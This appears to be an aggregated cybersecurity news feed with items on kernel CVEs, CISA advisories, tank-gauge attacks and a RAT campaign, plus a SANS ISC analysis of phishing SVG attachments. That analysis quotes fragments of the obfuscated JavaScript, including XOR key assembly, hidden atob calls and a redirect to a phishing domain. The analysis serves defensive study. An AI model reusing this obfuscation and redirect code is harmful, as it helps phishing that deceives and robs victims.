European and international law enforcement agencies have dismantled nine organized crime groups and arrested 29 suspects in a major crackdown on illegal streaming operations. [...]
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Google is introducing a new Android security feature that will detect and flag phone calls in which scammers use artificial intelligence to impersonate a user's personal contacts. [...]
Cybersecurity researchers have discovered a remote denial-of-service exploit that affects major web servers, including NGINX, Apache HTTPD, Microsoft IIS, Envoy, and Cloudflare Pingora. The vulnerability has been codenamed HTTP/2 Bomb by Calif. "The vulnerable behavior exists in each server's default HTTP/2 configuration," the company said, adding it was discovered by OpenAI Codex by chaining
CVSSv3 Score: 7.9 Linux kernel is impacted by CVE-2026-43284 and CVE-2026-43500 which chained together create the Dirty Frag vulnerability.CVE-2026-43284In the Linux kernel, the following vulnerability has been resolved: xfrm: esp: avoid in-place decrypt on shared skb frags MSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP marks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(), so later paths that may modify packet data can first make a private copy. The IPv4/IPv6 datagram append paths did not set this flag when splicing pages into UDP skbs. That leaves an ESP-in-UDP packet made from shared pipe pages looking like an ordinary uncloned nonlinear skb. ESP input then takes the no-COW fast path for uncloned skbs without a frag_list and decrypts in place over data that is not owned privately by the skb. Mark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching TCP. Also make ESP input fall back to skb_cow_data() when the flag is present, so ESP does not decrypt externally backed frags in place. Private nonlinear skb frags still use the existing fast path. This intentionally does not change ESP output. In esp_output_head(), the path that appends the ESP trailer to existing skb tailroom without calling skb_cow_data() is not reachable for nonlinear skbs: skb_tailroom() returns zero when skb- data_len is nonzero, while ESP tailen is positive. Thus ESP output will either use the separate destination-frag path or fall back to skb_cow_data().CVE-2026-43500In the Linux kernel, the following vulnerability has been resolved: rxrpc: Also unshare DATA/RESPONSE packets when paged frags are present The DATA-packet handler in rxrpc_input_call_event() and the RESPONSE handler in rxrpc_verify_response() copy the skb to a linear one before calling into the security ops only when skb_cloned() is true. An skb that is not cloned but still carries externally-owned paged fragments (e.g. SKBFL_SHARED_FRAG set by splice() into a UDP socket via __ip_append_data, or a chained skb_has_frag_list()) falls through to the in-place decryption path, which binds the frag pages directly into the AEAD/skcipher SGL via skb_to_sgvec(). Extend the gate to also unshare when skb_has_frag_list() or skb_has_shared_frag() is true. This catches the splice-loopback vector and other externally-shared frag sources while preserving the zero-copy fast path for skbs whose frags are kernel-private (e.g. NIC page_pool RX, GRO). The OOM/trace handling already in place is reused. Revised on 2026-06-03 00:00:00
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Microsoft announced today at its Build 2026 developer conference the release of Coreutils for Windows, bringing many commonly used Linux command-line utilities to Windows as native applications. [...]
OpenAI says it's rolling out a new update that improves the existing GPT-5.5 Instant model, and this move comes ahead of the scheduled retirement of multiple legacy models, including o3. [...]
Hackers are exploiting a critical privilege escalation vulnerability (CVE-2026-8206) in the Kirki plugin for WordPress to take over any user account, including those belonging to administrators. [...]
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added a high-severity security flaw impacting Oracle WebLogic Server to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation. The vulnerability, CVE-2024-21182 (CVSS score: 7.5), allows an unauthenticated attacker with network access to take control of susceptible servers. It was
Microsoft is working to address a widespread service issue affecting the mail flow pipeline for Exchange Online customers across North America and Germany. [...]
Multiple Instagram users had their accounts hijacked after attackers convinced Meta's AI-powered support tools that they were the legitimate owners. [...]
Anthropic is expanding Project Glasswing, its security vulnerability program, and access to Mythos to 150 organizations across 15 countries — targeting critical infrastructure in power, water, healthcare, and communications where a cyberattack could affect 100 million people.
AI-powered attacks and shadow AI adoption are creating new security risks inside the browser. Push Security explains why browser visibility is becoming critical for both threat detection and AI governance. [...]
CISA has ordered government agencies to secure their systems against a high-severity Oracle WebLogic Server vulnerability that was patched two years ago and is now actively exploited in attacks. [...]
p CISA has added two new vulnerabilities to its nbsp; a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" Known Exploited Vulnerabilities (KEV) Catalog /a , based on evidence of active exploitation. /p ul type="disc" li a href="https://www.cve.org/CVERecord?id=CVE-2022-0492" target="_blank" CVE-2022-0492 /a Linux Kernel Improper Authentication Vulnerability /li li a href="https://www.cve.org/CVERecord?id=CVE-2025-48595" target="_blank" CVE-2025-48595 /a Android Framework Integer Overflow Vulnerability /li /ul p These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise. /p p a href="https://www.cisa.gov/binding-operational-directive-22-01" Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities /a established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the nbsp; a href="https://www.cisa.gov/sites/default/files/publications/Reducing_the_Significant_Risk_of_Known_Exploited_Vulnerabilities_211103.pdf" BOD 22-01 Fact Sheet /a for more information. /p p Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of nbsp; a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" KEV Catalog vulnerabilities /a as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the nbsp; a href="https://www.cisa.gov/known-exploited-vulnerabilities" specified criteria /a . /p
p a class="c-button" href="https://www.cisa.gov/sites/default/files/2026-06/fact-sheet-cisa-and-partners-urge-hardening-automatic-tank-gauge-systems_508c.pdf" CISA and Partners Urge Hardening Automatic Tank Gauge Systems /a /p h2 strong Overview /strong /h2 p The Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), the Department of Energy (DOE), the Environmental Protection Agency (EPA), the Transportation Security Administration (TSA), the Department of Transportation (DOT), and the U.S. Department of Agriculture (USDA)—hereafter referred to as “the authoring organizations”—are aware of malicious cyber activity targeting U.S.-based automatic tank gauge (ATG) systems. ATG systems are widely used throughout the a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" Energy /a , a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/chemical-sector" Chemical /a , a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" Food and Agriculture /a , and a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/transportation-systems-sector" Transportation Systems /a Sectors for automated and remote monitoring of storage tank parameters, including fuel and liquid levels, temperature, and possible leak detection. The authoring organizations urge ATG owners and operators to defend against this malicious activity by securing their ATG systems with strong passwords and by removing them from the internet to reduce public exposure. nbsp; /p h2 strong Threat /strong /h2 p The recent malicious cyber activity observed by the authoring organizations—which the U.S. government has not yet attributed to a nation-state or threat actor group—involves cyber threat actors compromising internet-exposed ATG systems and subsequently modifying them through command execution. This fact sheet provides insight into probable tactics, techniques, and procedures (TTPs) leveraged by these cyber actors, highlights risk factors associated with such compromises, and provides mitigation guidance and resources to reduce the likelihood of continued malicious activity targeting U.S.-based ATG systems. nbsp; /p p Cyber threat actors may exploit flaws in ATG systems through multiple attack vectors: /p ul li strong Authentication Bypass and Hardcoded Credentials: /strong Threat actors gain unauthorized access to device management interfaces. nbsp; /li li strong OS Command Execution and Structured Query Language (SQL) Injection: /strong Threat actors execute arbitrary code and manipulate underlying databases. nbsp; /li li strong Privilege Escalation: /strong Threat actors achieve full administrator privileges over the device applicat
AI-driven exploitation timelines are rapidly shrinking, and they are not going to stop shrinking. Vulnerabilities are being discovered, reproduced, and weaponized faster than ever in the history of enterprise security. As a result, the window between a vulnerability being disclosed and indiscriminate exploitation observed across the internet is now measured in hours, not days. The industry's
Most organizations now recognize that endpoint protection alone is no longer sufficient. That's why adoption of endpoint detection and response (EDR) has accelerated rapidly in recent years. Organizations understand that modern attacks move faster, evade traditional prevention controls, and require continuous visibility into suspicious activity across the environment. But owning EDR
Cybersecurity researchers have disclosed details of a spear-phishing campaign likely undertaken by the Pakistan-aligned SideCopy group targeting Afghanistan's Ministry of Finance with an open-source remote access trojan called Xeno RAT. "The campaign opens with a spear phishing delivery - a ZIP archive containing a malicious LNK file bearing a carefully crafted Pashto-language filename,"
For a few days, my SANS ISC mailbox is flooded with emails that delivers SVG files. An SVG ( Scalable Vector Graphic ) is a web-friendly vector file format used for graphics and icons. No URL in the body, just an image , that s the perfect way to deliver some malicious content. This isn t the first time that we see this technique used by threat actors[ 1 ]. This time, the SVG files are really simple and even don t contain any graphical element but a simple piece of JavaScript that will redirect the victim's browser to the phishing page: With the current wave, I just detected regular phishing pages but it could be any payload. The variable nl contains the targeted email address: nl = '$aGFuZGxlcnNAc2Fucy5lZHU='; // [email protected] The interesting payload is in oa , it contains a Base64-encode and XOR d string. The XOR key is in bd : const pt = b19208caeefa ; const rm = 51d1e7dcd384 ; const bd = pt + rm; The payload is decoded here: const cx = ['b', 'style', 'o', 't', 'a']; const kf = self[[cx[4], cx[3], cx[2], cx[0]].join('')]; const ts = kf(oa); const rabbit = Uint8Array.from(ts, (aa, ak) = aa.charCodeAt(0) ^ bd.charCodeAt(ak % bd.length) ); Finally, the variable rabbit is used to perform the redirect in the browser: window.location.href = hxxps://chinougoo[.]cfd/W74rH61S!x7sbhhS0bKPv/ + [email protected] ; This technique works because SVG files are handled by the browser by default on the Windows operating system. Note the TLD used ( .cfd ) which means Clothing, Fashion, and Design . It's a cheap TLD more and more abused in phishing campaigns[ 2 ]. A final note about the MIME type used in the SVG file: script type= application/ecmascript This is a official MIME type for ECMAScript, the standardized specification underlying JavaScript (standard ECMA-262)[ 3 ]. This has been used probably to defeat some common security controls that are looking for JavaScript . [1] https://isc.sans.edu/diary/Increase+In+Phishing+SVG+Attachments/31456 [2] https://radar.cloudflare.com/tlds/cfd?dateRange=7d [3] https://github.com/sudheerj/ECMAScript-features Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.